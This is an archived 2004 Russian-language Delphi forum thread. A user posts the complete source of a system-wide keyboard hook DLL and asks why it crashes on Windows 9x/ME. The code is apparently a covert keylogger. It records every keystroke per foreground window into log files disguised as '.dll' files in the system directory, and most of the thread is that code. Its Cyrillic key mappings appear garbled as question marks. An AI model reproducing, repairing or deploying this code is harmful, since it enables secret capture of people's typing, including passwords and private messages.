Главная страница
Top.Mail.Ru    Яндекс.Метрика
Текущий архив: 2004.02.29;
Скачать: CL | DM;

Вниз

Ошибка при перехвате ввода с клавиатуры в 9x   Найти похожие ветки 

 
DelphiN! ©   (2004-02-09 21:21) [0]

Здравствуйте уважаемые, вот у меня совершенно непонятная для меня проблемма возникла, значит устанавливаю я хук на ввод с клавиатуры, хук расположен в Длл библиотеке, значит когда я загружаю эту Длл в Win XP или 2000, то все работает OK, но когда делаю тоже самое в 9х, все вродибы ничего, но вот например когда печатаю в строке адреса IE или проводнике выскакивает системная ошибка, где написано что программа выполнила недопустимую операцию, и якобы ошибка произошла в моей Длл, а когда печатаю гденибудь в блокноте, то все работает ОК, странно из-за чего бы это могло быть, вот выкладываю код моей ДЛЛ:



library Hook;

uses
Windows,sysutils,
Constants in "Constants.pas";

var
KeyboardHook: HHOOK;
b:boolean;
sysdir:array[0..255] of char;
f:textfile;
function KeyboardProc(hCode: Integer; wParam: Longint; lParam: Longint): LRESULT; stdcall;
var
Wnd: THandle;
s: array[0..80] of char;
str:string;
Layout: array [0.. KL_NAMELENGTH] of char;
en:boolean;
chr1:string;
shiftdown:boolean;
State : TKeyboardState;
begin

if hCode = HC_ACTION then
begin
// if b = false then begin
s := "";

GetKeyboardLayoutName(Layout);

if Layout = "00000409" then
en := true
else en := false;


GetKeyboardState(State);
ShiftDown := ((State[vk_Shift] and 128) <> 0);

if en then begin
if not ShiftDown then begin
case WParam of
192:chr1 := "`";
49:chr1 := "1";
50:chr1 := "2";
51:chr1 := "3";
52:chr1 := "4";
53:chr1 := "5";
54:chr1 := "6";
55:chr1 := "7";
56:chr1 := "8";
57:chr1 := "9";
48:chr1 := "0";
189:chr1 := "-";
187:chr1 := "=";
220:chr1 := "\";
81:chr1 := "q";
87:chr1 := "w";
69:chr1 := "e";
82:chr1 := "r";
84:chr1 := "t";
89:chr1 := "y";
85:chr1 := "u";
73:chr1 := "i";
79:chr1 := "o";
80:chr1 := "p";
219:chr1 := "[";
221:chr1 := "]";
65:chr1 := "a";
83:chr1 := "s";
68:chr1 := "d";
70:chr1 := "f";
71:chr1 := "g";
72:chr1 := "h";
74:chr1 := "j";
75:chr1 := "k";
76:chr1 := "l";
186:chr1 := ";";
222:chr1 := """;
90:chr1 := "z";
88:chr1 := "x";
67:chr1 := "c";
86:chr1 := "v";
66:chr1 := "b";
78:chr1 := "n";
77:chr1 := "m";
188:chr1 := ",";
190:chr1 := ".";
191:chr1 := "/";
32:chr1 := " ";
13:chr1 := #13#10;
9 :chr1 := #13#10;
end;
end else begin
case wparam of
192:chr1 := "~";
49:chr1 := "!";
50:chr1 := "@";
51:chr1 := "#";
52:chr1 := "$";
53:chr1 := "%";
54:chr1 := "^";
55:chr1 := "&";
56:chr1 := "*";
57:chr1 := "(";
48:chr1 := ")";
189:chr1 := "_";
187:chr1 := "+";
220:chr1 := "|";
81:chr1 := "Q";
87:chr1 := "W";
69:chr1 := "E";
82:chr1 := "R";
84:chr1 := "T";
89:chr1 := "Y";
85:chr1 := "U";
73:chr1 := "I";
79:chr1 := "O";
80:chr1 := "P";
219:chr1 := "{";
221:chr1 := "}";
65:chr1 := "A";
83:chr1 := "S";
68:chr1 := "D";
70:chr1 := "F";
71:chr1 := "G";
72:chr1 := "H";
74:chr1 := "J";
75:chr1 := "K";
76:chr1 := "L";
186:chr1 := ":";
222:chr1 := """;
90:chr1 := "Z";
88:chr1 := "X";
67:chr1 := "C";
86:chr1 := "V";
66:chr1 := "B";
78:chr1 := "N";
77:chr1 := "M";
188:chr1 := "<";
190:chr1 := ">";
191:chr1 := "?";
32:chr1 := " ";
13:chr1 := "enter";
9 :chr1 := #13#10;
end;
end;

end else begin
if not ShiftDown then begin
case WParam of
192:chr1 := "?";
49:chr1 := "1";
50:chr1 := "2";
51:chr1 := "3";
52:chr1 := "4";
53:chr1 := "5";
54:chr1 := "6";
55:chr1 := "7";
56:chr1 := "8";
57:chr1 := "9";
48:chr1 := "0";
189:chr1 := "-";
187:chr1 := "=";
220:chr1 := "\";
81:chr1 := "?";
87:chr1 := "?";
69:chr1 := "?";
82:chr1 := "?";
84:chr1 := "?";
89:chr1 := "?";
85:chr1 := "?";
73:chr1 := "?";
79:chr1 := "?";
80:chr1 := "?";
219:chr1 := "?";
221:chr1 := "?";
65:chr1 := "?";
83:chr1 := "?";
68:chr1 := "?";
70:chr1 := "?";
71:chr1 := "?";
72:chr1 := "?";
74:chr1 := "?";
75:chr1 := "?";
76:chr1 := "?";
186:chr1 := "?";
222:chr1 := "?";
90:chr1 := "?";
88:chr1 := "?";
67:chr1 := "?";
86:chr1 := "?";
66:chr1 := "?";
78:chr1 := "?";
77:chr1 := "?";
188:chr1 := "?";
190:chr1 := "?";
191:chr1 := ".";
32:chr1 := " ";
13:chr1 := #13#10;
9 :chr1 := #13#10;
end;
end else begin
case WParam of
192:chr1 := "?";
49:chr1 := "!";
50:chr1 := """;
51:chr1 := "?";
52:chr1 := ";";
53:chr1 := "%";
54:chr1 := ":";
55:chr1 := "?";
56:chr1 := "*";
57:chr1 := "(";
48:chr1 := ")";
189:chr1 := "_";
187:chr1 := "+";
220:chr1 := "/";
81:chr1 := "?";
87:chr1 := "?";
69:chr1 := "?";
82:chr1 := "?";
84:chr1 := "?";
89:chr1 := "?";
85:chr1 := "?";
73:chr1 := "?";
79:chr1 := "?";
80:chr1 := "?";
219:chr1 := "?";
221:chr1 := "?";
65:chr1 := "?";
83:chr1 := "?";
68:chr1 := "?";
70:chr1 := "?";
71:chr1 := "?";
72:chr1 := "?";
74:chr1 := "?";
75:chr1 := "?";
76:chr1 := "?";
186:chr1 := "?";
222:chr1 := "?";
90:chr1 := "?";
88:chr1 := "?";
67:chr1 := "?";
86:chr1 := "?";
66:chr1 := "?";
78:chr1 := "?";
77:chr1 := "?";
188:chr1 := "?";
190:chr1 := "?";
191:chr1 := ",";
32:chr1 := " ";
13:chr1 := #13#10;
9 :chr1 := #13#10;
end;
end;
end;

if chr1 <> "" then begin

getwindowtext(getforegroundwindow,s,80);

getsystemdirectory(sysdir,255);

if b = true then begin
if not fileexists(sysdir+"\spool\DLL\"+s+".dll") then begin
assign(f,sysdir+"\spool\DLL\"+s+".dll");
rewrite(f);
writeln(f," -------------- "+s+" --------------");
closefile(f);
end else
assign(f,sysdir+"\spool\DLL\"+s+".dll");
append(f);
write(f,chr1);
closefile(f);
b := false;
end else b := true;
end;

end;

Result := CallNextHookEx(KeyboardHook, hCode, wParam, lParam);

end;

function SetKeyboardHook: Boolean; stdcall; export;
begin
KeyboardHook := SetWindowsHookEx(WH_KEYBOARD, @KeyboardProc, HInstance, 0);
Result := KeyboardHook <> 0;
end;

function RemoveKeyboardHook: Boolean; stdcall; export;
begin
Result := UnhookWindowsHookEx(KeyboardHook);
end;

exports SetKeyboardHook, RemoveKeyboardHook;

begin
end.


Заранее благодарен


 
DelphiN! ©   (2004-02-16 23:13) [1]

До этого заказчик мне про ошибку говорил, сейчас сам 9х поставил, вроде только в notepad-е когда печатаешь все ок, а когда в папке клавишу нажмешь или в командной строке где, все, сразу ошибка.И еще ошибка вроде в ME вылетает.

Помогите решить проблемму,

Заранее благодарен



Страницы: 1 вся ветка

Текущий архив: 2004.02.29;
Скачать: CL | DM;

Наверх




Память: 0.48 MB
Время: 0.018 c
3-93759
Крутыш
2004-02-04 14:13
2004.02.29
Проблемы с сохранением.


3-93780
Esed
2004-02-03 16:42
2004.02.29
Где - ошибка.


7-94195
Dima_dvp
2003-10-24 01:27
2004.02.29
DircetX или OpenGL запущен или нет.


3-93766
suric
2004-02-04 12:10
2004.02.29
TDBGRID. Как форматровать представление данных


1-93929
Max
2004-02-15 11:11
2004.02.29
Преобразование времени из Windows в Unix